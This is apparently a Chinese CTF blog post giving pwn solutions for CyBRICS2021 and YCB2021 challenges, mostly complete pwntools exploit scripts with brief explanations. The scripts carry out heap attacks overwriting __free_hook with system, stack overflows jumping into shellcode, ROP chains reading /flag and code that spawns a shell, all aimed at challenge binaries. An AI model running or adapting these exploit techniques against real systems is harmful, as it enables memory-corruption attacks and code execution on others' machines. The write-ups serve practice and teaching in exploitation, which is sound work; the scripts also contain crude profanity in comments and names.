Ctf
13 Sep 2021

2021年的Pwn签到题是什么样的

2021年的Pwn签到题是什么样的

CyBRICS2021-gross

from pwn import *

r = remote(ip,port)
#r = process('./main')
context.log_level = 'debug'

def menu(choice):
    r.recvuntil('storage(1)<')
    r.sendline(str(choice))

def add(index,size):
    menu(1)
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('size:')
    r.sendline(str(size))


def edit(index,data):
    menu(3)
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('data:')
    r.sendline(data)

def show(index):
    menu(4)
    r.recvuntil('index:')
    r.sendline(str(index))

def delete(index):
    menu(2)
    r.recvuntil('index:')
    r.sendline(str(index))


def spawn_storage():
    r.recvuntil('shell(0)<')
    r.sendline('SPAWN')
    r.recvuntil('Enter process name:')
    r.sendline('storage')
    r.sendline('EXIT')

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
spawn_storage()

add(1,0x500)
add(2,0x500)
delete(1)
add(3,0x500)
show(3)
r.recvuntil('> ')
leak = u64(r.recv(8))
libc_base = leak-0x3ebca0
log.success(hex(leak))
log.success(hex(libc_base))
add(0,0x60)
add(1,0x60)
delete(1)
delete(0)
edit(0,'a'*0x60)
delete(0)
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base
edit(0,p64(free_hook))
add(4,0x60)
add(5,0x60)
edit(5,p64(system))
add(6,0x70)
edit(6,'/bin/sh')
delete(6)#fuck you
#log.success(str(r.pid))
r.interactive()

YCB2021-nologin

利用 admin 的栈溢出,将返回地址覆盖为 jmp rsp 的地址。后面紧跟一段 shellcode。由于 shellcode 只能写 8 字节,考虑用 read 获得再次输入机会。在栈溢出时, rsi 已经设为栈地址,rdi 已经设为 0,只需设置 rax 和 rdx 即可。其中 r11 为 0x246,可以传给 rdx。

In [12]: len(asm("push r11;pop rdx;push 0;pop rax;syscall")) <= 8
Out[12]: True

可行。获得 read 后直接写 shellcode 即可。

from pwn import *
#a = process("./nologin")
context.arch = 'amd64'

a.sendlineafter("input>>",str(2))
payload = 'a'*5+p64(0x602800)+p64(0x00000000004016fb)+'ASZj\x00X\x0f\x05'
pause()
a.sendlineafter("password:",payload)
payload = 'a'*0x41+asm(shellcraft.open('/flag')+shellcraft.read(4,'rsp',0x30)+shellcraft.write(1,'rsp',0x30))
pause()
a.sendline(payload)
a.interactive()

YCB2021-BabyRop

32 位栈溢出白给题

有 system 和 /cin/sh,fun2 可以 xor 1 把 /cin/sh 变成 /bin/sh

from pwn import *
#r = process('./BabyRop')
elf = ELF('./BabyRop')

sh = 0x804C024 
payload = 'a'*0x28+'a'*4+p32(elf.sym['fun2'])+p32(elf.sym['main'])+p32(1)+p32(sh)
pause()
r.sendline(payload)

payload = 'a'*0x28+'a'*4+p32(elf.sym['fun1'])+p32(elf.sym['main'])+p32(sh)
r.sendline(payload)
r.interactive()

YCB2021-whatsyourname

libc2.23 off-by-null。每次申请先申请一个 chunk 放函数指针和数据堆块地址,off-by-null 搞出重叠控制这个 chunk 可以任意地址读写。

有沙箱,先泄露 libc,再泄露 environ,然后打栈 orw

from pwn import *
#r = process('./name',aslr=False)
def menu(choice):
    r.recvuntil('5.exit\n')
    r.sendline(str(choice))

def add(size):
    menu(1)
    r.recvuntil('name size:\n')
    r.sendline(str(size))

def edit(index,name):
    menu(2)
    r.recvuntil('index:\n')
    r.sendline(str(index))
    r.recvuntil('name:\n')
    r.send(name)

def show(index):
    menu(3)
    r.recvuntil('index:\n')
    r.sendline(str(index))

def delete(index):
    menu(4)
    r.recvuntil('index:\n')
    r.sendline(str(index))

libc = ELF('./libc.so.6')

add(0xf8)
add(0xf8)
add(0xf8)
add(0xf8)
delete(0)
edit(1,'a'*0xf0+p64(0x200))
delete(2)

add(0xf8)
show(0)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3c4e68
log.success(hex(libc_base))
add(0x10)
add(-1)
add(0xf8)
system = libc_base + libc.sym['system']
puts = libc_base+libc.sym['puts']
environ = libc_base+libc.sym['environ']
binsh = libc_base + libc.search('/bin/sh\x00').next()
edit(1,p64(puts)+p64(environ))
show(4)
stack = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.success(hex(stack))
edit(1,p64(puts)+p64(stack-0x100))

pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x1b92
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
open_l = libc_base + libc.sym['open']

libc_bss = libc_base + libc.bss()
flag = libc_bss
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x20)+p64(read)#read
payload += p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_l)#open
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rdx)+p64(0x50)+p64(read)#read
payload += p64(pop_rdi)+p64(flag+0x10)+p64(puts)#write
edit(4,payload)
r.sendline('/flag\x00')
r.interactive()

YCB2021-how2heap

这题打复杂了,直接 free got 就彳亍,但是👴打着很爽。

libc2.23,uaf,堆可执行。把堆指针数组填满再 delete(47),delete 时指针前移操作会出问题,出现多个相同指针,导致 uaf。

size 限制为 0x10,fastbin 有 size 检查,很麻烦,一点一点挪。

uaf 可以轻松泄露堆地址,先把堆地址拿了。在堆上 fastbin attack 把一个 chunk size 改大,造出 unsortedbin。

利用计数器可以在堆指针数组上方造出一个合法 size,fastbin attack 打过去。打一次写不到堆指针数组,利用第一次 fastbin attack 伪造一个 size,再来一次 fastbin attack 就可以控制 index 为 0 的指针。把这个指针写为刚才造的 unsortedbin 就可以泄露 libc。

size 限制为 0x10,mallochook 打不成,同理配合 unsortedbin attack 打 freehook 也不行,考虑往栈上打,先泄露栈地址。

打印时有限制,打印的字节数在 ptr+0x10,不能直接把 index 为 0 的指针写为 environ 泄露栈地址。利用 fastbin attack 修改 unsortedbin 的 bk,字节错位打 environ,在 size 对应的位置写一个 0x7f,再把 environ 写到堆指针数组,就可以打印 environ 泄露栈地址。

得到栈地址后,劫持返回地址到堆上执行短 shellcode: shellcraft.read(0,'rsp',0xff)+';jmp rsp',再输入长 shellcode getshell。

fastbin attack 打栈需要字节错位过 size 检查,返回地址上面有 canary,用 canary 字节错位,运气好就打过去了。

from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'
elf = ELF('./how2heap')
def menu(choice):
	r.recvuntil('> ')
	r.sendline(str(choice))

def add(data):
	menu(1)
	r.recvuntil('content: ')
	r.send(data)

def get(index):
	menu(2)
	r.recvuntil('id: ')
	r.sendline(str(index))

def delete(index):
	menu(3)
	r.recvuntil('id: ')
	r.sendline(str(index))

while(1):
	try:
		#r = process('./how2heap')
		for i in range(49):
			add(p64(0x21)*2)

		delete(47)
		add(p64(0x21)*2)
		for i in range(46-20):
			delete(0)


		delete(1+20)
		delete(0+20)
		get(0+20)

		leak = u64(r.recv(8).ljust(8,'\x00'))
		heap_base = leak - 0x320
		log.success(hex(leak))
		log.success(hex(heap_base))

		delete(0+20)

		add(p64(heap_base+0x330)*2)
		add('fuck')
		add('fuck')
		add(p64(0)+p64(0xa1))


		delete(0)


		delete(19)
		delete(19)
		delete(19)
		for i in range(0x21-0x14):
			add(p64(heap_base+0x5e0)*2)


		add(p64(0x602098)+p64(0))

		add('fuck')

		add(p64(0)+p64(0x21))

		delete(20)
		delete(20)
		delete(20)

		add(p64(0x6020a8)+p64(0))
		add('fuck')
		add('fuck')
		add(2*p64(heap_base+0x350))

		get(0)
		leak = u64(r.recv(8).ljust(8,'\x00'))
		libc_base = leak-0x3c4b78
		log.success(hex(leak))
		log.success(hex(libc_base))

		malloc_hook = libc_base + libc.sym['__malloc_hook']
		environ = libc_base + libc.sym['environ']
		free_hook = libc_base + libc.sym['__free_hook']

		delete(22)
		delete(3)
		delete(22)


		add(p64(heap_base+0x330)+p64(0))
		add('fuck')
		add('fuck')
		add(p64(0x21)+p64(0x21))

		delete(24)
		delete(3)
		delete(24)
		add(p64(heap_base+0x340)+p64(0))
		add('fuck')
		add('fuck')
		add(2*p64(environ-5))
		log.success(hex(environ))
		delete(24)
		delete(3)
		delete(23)

		add(p64(0)+p64(0))
		add('fuck')
		add('fuck')
		add('ubfuck')

		delete(24)
		delete(3)
		delete(24)

		add(p64(0x6020a8)+p64(0))
		add('fuck')
		add('fuck')
		add(2*p64(environ))

		get(0)
		stack = u64(r.recv(8).ljust(8,'\x00'))

		log.success(hex(stack))
		ret_stack = stack - 0xf0


		delete(20)
		delete(14)
		delete(19)

		add(p64(ret_stack-0x10-1)+p64(0))
		add('fuck')
		nmslwsnd = asm(shellcraft.read(0,'rsp',0xff)+';jmp rsp')
		add(nmslwsnd)

		add('a'+p64(heap_base+0x5f0))

		menu(4)
		nmslwsnd = asm(shellcraft.sh())
		r.send(nmslwsnd)
		r.interactive()
		# add(2*p64(heap_base+0x350))
		# r.interactive()
	except:
		r.close()
		continue

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).